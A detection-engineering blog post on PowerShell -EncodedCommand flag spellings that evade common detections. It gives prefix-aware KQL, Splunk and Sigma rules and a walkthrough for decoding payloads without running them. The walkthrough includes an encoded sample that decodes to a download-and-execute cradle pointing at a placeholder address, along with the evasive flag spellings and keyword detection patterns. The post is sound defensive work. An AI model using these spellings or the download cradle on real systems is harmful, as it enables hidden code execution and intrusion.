← Back to Blog

PowerShell Accepts Spellings of -EncodedCommand Your Detection Has Never Seen

7 October 2026 Detection Engineering 9 min read
Twelve spellings PowerShell 7.6 accepts, and what three detections catch -enc -EncodedCommand -e -ec -en -enco -encodedc /enc --enc and three Unicode dashes before enc Common regex 3 of 12 -e, -enc, -EncodedCommand Sigma, hyphen only 7 of 12 misses slash, double hyphen, dashes Prefix-aware 12 of 12 any prefix, any accepted lead Each spelling run in PowerShell 7.6.6; each detection run against the same twelve command lines.

The flag is not a word. It is any prefix PowerShell can resolve, after any character it treats as a dash.

Most encoded-PowerShell detections look for a word: -enc, sometimes -e, sometimes the full -EncodedCommand. PowerShell doesn't treat the flag as a word. It treats it as a parameter name, accepts any prefix of that name it can resolve, ignores case, and accepts several characters in front of it that are not a hyphen. An attacker who knows that writes the flag in a spelling the detection has never seen, and the process starts with nothing raised.

This post measures the gap, closes it in KQL, Splunk and Sigma, and then shows how to read what the encoded command did without running a line of it.

What PowerShell actually accepts

The test is short. Encode a harmless command, then hand PowerShell the same payload behind different spellings of the flag and see which ones run.

# Encode a harmless command the way -EncodedCommand expects: UTF-16LE, then base64
$b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Write-Output ok'))
$b64
# VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIABvAGsA

# Then, from a shell, try each spelling:
#   pwsh -NoProfile -ec VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIABvAGsA
#   pwsh -NoProfile /enc VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIABvAGsA

On PowerShell 7.6.6, every one of these printed ok: -e, -ec, -en, -enc, -enco, -encod, -encode, -encoded, -encodedc, -EncodedCommand in any mix of case, /enc, --enc, and enc preceded by an en dash (U+2013), an em dash (U+2014) or a horizontal bar (U+2015). Three other dash-like characters were refused: the figure dash, the Unicode hyphen and the minus sign. So were spellings past the end of the name, such as -encodedcommandx.

-ec is the documented short alias. The rest come from prefix matching. Windows PowerShell 5.1 is the version most attackers still call, because it ships on every Windows host, and its behavior should be checked on your own build before you rely on any list, including this one.

The dashes matter more than they look. A command line copied through a document, a chat message or a phishing lure picks up typographic dashes on the way, and an attacker can type them on purpose. A detection that searches for a space followed by a hyphen never sees them.

How common detections score

We ran the twelve spellings as twelve command lines through three detections.

A regular expression that turns up in many queries, \s-e(nc|ncodedcommand)?\s, caught 3: -e, -enc and -EncodedCommand. It is precise about the three spellings people type, and blind to the nine they don't.

SigmaHQ's proc_creation_win_powershell_encode rule does better. It searches for -e , -en , -enc , -enco and -ec , which covers every hyphen prefix, and it caught 7 of 12. The five it missed are the slash, the double hyphen and the three Unicode dashes, all for the same reason: every pattern starts with a space and a hyphen.

Numbers to test your own rule against. Twelve spellings ran on PowerShell 7.6.6. A common regex caught 3 and a hyphen-only Sigma rule caught 7; the prefix-aware patterns below catch 12, and none of them fired on -ExecutionPolicy Bypass, -EncodedArguments or -ex bypass in the same test. Encoding inflates the command by a fixed ratio: UTF-16 doubles the bytes and base64 adds a third, so a 72-character command becomes 192 characters of base64, 2.67 times its length. A 16-character minimum on the base64 block skips placeholders and short tokens without losing real payloads.

A pattern that catches the prefix, not the word

The fix is to stop matching a word and match what PowerShell matches: one or two of the accepted lead characters, then the letter e and whatever letters follow, then a block of base64. Then keep only the flags that are a prefix of encodedcommand, or the alias ec. In KQL, against Defender XDR process events:

// Hypothesis: a PowerShell process was started with an encoded command,
// in any spelling of the flag PowerShell will accept.
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe", "pwsh.exe")
// One or two leads (hyphen, slash, en dash, em dash, horizontal bar), then e and any letters, then base64
| extend Flag = tolower(extract(@"(?i)\s[-/\x{2013}\x{2014}\x{2015}]{1,2}(e[a-z]*)\s+[A-Za-z0-9+/=]{16,}", 1, ProcessCommandLine)),
         Encoded = extract(@"(?i)\s[-/\x{2013}\x{2014}\x{2015}]{1,2}e[a-z]*\s+([A-Za-z0-9+/=]{16,})", 1, ProcessCommandLine)
// Keep only spellings PowerShell resolves to -EncodedCommand (an empty Flag would pass startswith)
| where isnotempty(Flag) and (Flag == "ec" or "encodedcommand" startswith Flag)
// UTF-16 leaves a zero byte after every ASCII character; strip them to read the command
| extend Decoded = replace_regex(base64_decode_tostring(Encoded), @"\x00", "")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, Flag, Decoded

The startswith test is the part doing the work, and it needs the isnotempty guard in front of it: every string starts with the empty string, so a row where the regex found nothing would otherwise pass. Our first draft of this query had that bug, and it flagged two of the three lookalike command lines in testing. -EncodedArguments followed by a base64 block is a lead, an e and letters, so the regex captures it, and the filter throws it away because encodedcommand doesn't start with encodedarguments. The parent process column is there because the parent is usually the fastest triage signal: an encoded command started by WINWORD.EXE or mshta.exe needs attention now, while one started by your configuration management agent needs an allowlist entry.

The same logic in Splunk, against Sysmon process creation:

sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
    (Image="*\\powershell.exe" OR Image="*\\pwsh.exe")
| rex field=CommandLine "(?i)\s[-/\x{2013}\x{2014}\x{2015}]{1,2}(?<flag>e[a-z]*)\s+(?<encoded>[A-Za-z0-9+/=]{16,})"
| eval flag=lower(flag)
| where isnotnull(flag) AND (flag="ec" OR like("encodedcommand", flag."%"))
| table _time, host, User, ParentImage, flag, encoded, CommandLine

Core SPL has no base64 decoding function, so the search hands you the encoded field and the decode happens in the next section. And the rule as Sigma, for anything you convert from:

title: PowerShell Encoded Command, Any Accepted Spelling
status: experimental
description: The -EncodedCommand flag in any prefix PowerShell accepts, after a hyphen, slash, double hyphen or Unicode dash.
tags:
  - attack.execution
  - attack.t1059.001
  - attack.defense-evasion
  - attack.t1027
logsource:
  category: process_creation
  product: windows
detection:
  selection_img:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
  selection_flag:
    CommandLine|re: '(?i)\s[-/\x{2013}\x{2014}\x{2015}]{1,2}e(c|n|nc|nco|ncod|ncode|ncoded|ncodedc|ncodedco|ncodedcom|ncodedcomm|ncodedcomma|ncodedcomman|ncodedcommand)?\s+[A-Za-z0-9+/=]{16,}'
  condition: all of selection_*
falsepositives:
  - Management agents that pass scripts as encoded commands; allowlist them by parent process
level: medium

All three patterns caught all twelve spellings in our test and skipped the three lookalikes. Sigma's regular expressions aren't converted the same way by every backend, so check the query your converter emits before you deploy it.

Read the payload without running it

A match tells you that something was encoded. It doesn't tell you what it did, and the payload is often wrapped again: the decoded command hands a second base64 string to FromBase64String and passes the result to Invoke-Expression. Here is a sample built that way, pointing at a documentation address:

$enc = 'SQBFAFgAIAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAUwBVAFYAWQBJAEMAaABPAFoAWABjAHQAVAAyAEoAcQBaAFcATgAwAEkARQA1AGwAZABDADUAWABaAFcASgBEAGIARwBsAGwAYgBuAFEAcABMAGsAUgB2AGQAMgA1AHMAYgAyAEYAawBVADMAUgB5AGEAVwA1AG4ASwBDAGQAbwBkAEgAUgB3AE8AaQA4AHYATQBqAEEAegBMAGoAQQB1AE0AVABFAHoATABqAEUAdwBMADIARQB1AGMASABNAHgASgB5AGsAPQAnACkAKQApAA=='

# Layer 1: what -EncodedCommand would have run. Decoding is not executing.
$layer1 = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($enc))
$layer1
# IEX ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMjAzLjAuMTEzLjEwL2EucHMxJyk=')))

# Parse it without running it, and pull out every string literal
$ast = [System.Management.Automation.Language.Parser]::ParseInput($layer1, [ref]$null, [ref]$null)
$strings = $ast.FindAll({ $args[0] -is [System.Management.Automation.Language.StringConstantExpressionAst] }, $true).Value

# Layer 2: decode the literal that FromBase64String was given
$b64 = $strings | Where-Object { $_.Length % 4 -eq 0 -and $_ -match '^[A-Za-z0-9+/]{20,}={0,2}$' }
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b64))
# IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.10/a.ps1')

Two details in that block are worth keeping. The first is the parser. ParseInput turns the text into a syntax tree and executes nothing, so you can ask it for every string, every command name and every variable in a payload you would never run. The second is the filter on the second layer. Our first version matched any 16 characters from the base64 alphabet and decoded FromBase64String itself, because the method name is sixteen letters long and every one of them is valid base64. Requiring a length that is a multiple of four and at least twenty characters fixed it, and that is a mistake worth making on a sample rather than on a live case.

The first layer is decoded with Unicode, the second with UTF8, because they were encoded differently: -EncodedCommand always expects UTF-16, while a payload inside the script can use whatever the author chose. If the output of a decode is full of odd characters, try the other encoding before deciding the data is binary.

The host already wrote it down

Command-line telemetry shows the encoded form. Script block logging shows what PowerShell compiled, because it records the content of the script blocks PowerShell processes, so the decoded text appears in clear, and code handed to Invoke-Expression is processed as a block of its own. It is event 4104, and where it lives depends on the version: Microsoft-Windows-PowerShell/Operational for Windows PowerShell 5.1 and PowerShellCore/Operational for PowerShell 7.

# Last 7 days of script blocks that decode, download or evaluate code, from both PowerShell logs
$logs = 'Microsoft-Windows-PowerShell/Operational', 'PowerShellCore/Operational'
Get-WinEvent -FilterHashtable @{ LogName = $logs; Id = 4104; StartTime = (Get-Date).AddDays(-7) } -ErrorAction SilentlyContinue |
    Where-Object { $_.Message -match 'FromBase64String|DownloadString|Invoke-Expression|\bIEX\b' } |
    Select-Object TimeCreated, MachineName, @{ n = 'Excerpt'; e = { $_.Message.Substring(0, [Math]::Min(300, $_.Message.Length)) } }

If that returns nothing on a host where you know encoded PowerShell ran, script block logging is probably off, and every investigation on that host is working from the encoded form alone. Turning it on is a Group Policy setting under Administrative Templates, Windows Components, Windows PowerShell, and Microsoft recommends Protected Event Logging alongside it, because scripts carry credentials and the log will record them.

Never decode by running. Replacing IEX with Write-Output is the shortcut people reach for, and it works until a payload evaluates code somewhere you didn't edit. Decode with FromBase64String, read with the parser, and keep the analysis on a machine that is not part of the estate.

Where to read more

  • SigmaHQ, proc_creation_win_powershell_encode.yml, the hyphen-prefix rule scored above, and proc_creation_win_powershell_base64_encoded_cmd.yml, which matches common payload openings such as SQBFAFgA, the encoding of IEX.
  • MITRE ATT&CK, T1059.001 PowerShell and T1027 Obfuscated Files or Information.
  • Atomic Red Team, the T1059.001 tests, which include encoded-command executions you can run in a lab to test the detections above.
  • Microsoft Learn, about_Logging_Windows and about_Logging, for script block logging, its log names in PowerShell 7 and 5.1, and Protected Event Logging.
  • Microsoft Learn, about_Pwsh, for the documented parameters and aliases of the PowerShell executable.

What to do this week

  1. Run your current encoded-PowerShell detection against the twelve spellings. Build the command lines with the harmless payload above and count what it catches. If the answer is under twelve, you have a measured gap, not a hunch.
  2. Deploy the prefix-aware KQL or SPL as a hunt over the last 30 days and read every Decoded value. Allowlist your management agents by parent process, and look hard at anything started by Office, a browser or a script host.
  3. Check one host's 4104 events. Run the Get-WinEvent block on a machine where you know PowerShell ran. No events means script block logging is off, and that is the first fix.
  4. Test the spellings on Windows PowerShell 5.1 in your own build, since most attacker tooling still calls it, and update your rule with what you find.
  5. Save the two-layer decoder as a script in your analyst toolkit, so the next encoded command in the queue is read with the parser, never with IEX.

An encoded command is designed to be skipped by anyone searching for words. Search for what PowerShell accepts instead, decode without executing, and the payload is usually one line of plain text away.

Ridgeline Cyber Defence Written by security professionals. Published weekly on Tuesdays.

Related Articles

21 July 2026

One Failed Login Is Noise. The Same Failure Across Sixty Accounts Is a Spray Your Rule Can't Count.

Brute force and password spray produce the same failed sign-in event. A per-account threshold catches one and misses the

14 July 2026

Your Sigma Rule Converts Cleanly and Still Never Fires. Here's the Test That Catches It.

A one-character field typo passes sigma check, converts to valid KQL and SPL, and matches nothing. Static validation can

2 July 2026

Detecting Malicious Scheduled Tasks: The Persistence That Survives Your Cleanup

Detect T1053.005 scheduled task persistence with KQL, SPL and Sigma, using Event ID 4698 and a scoring model that separa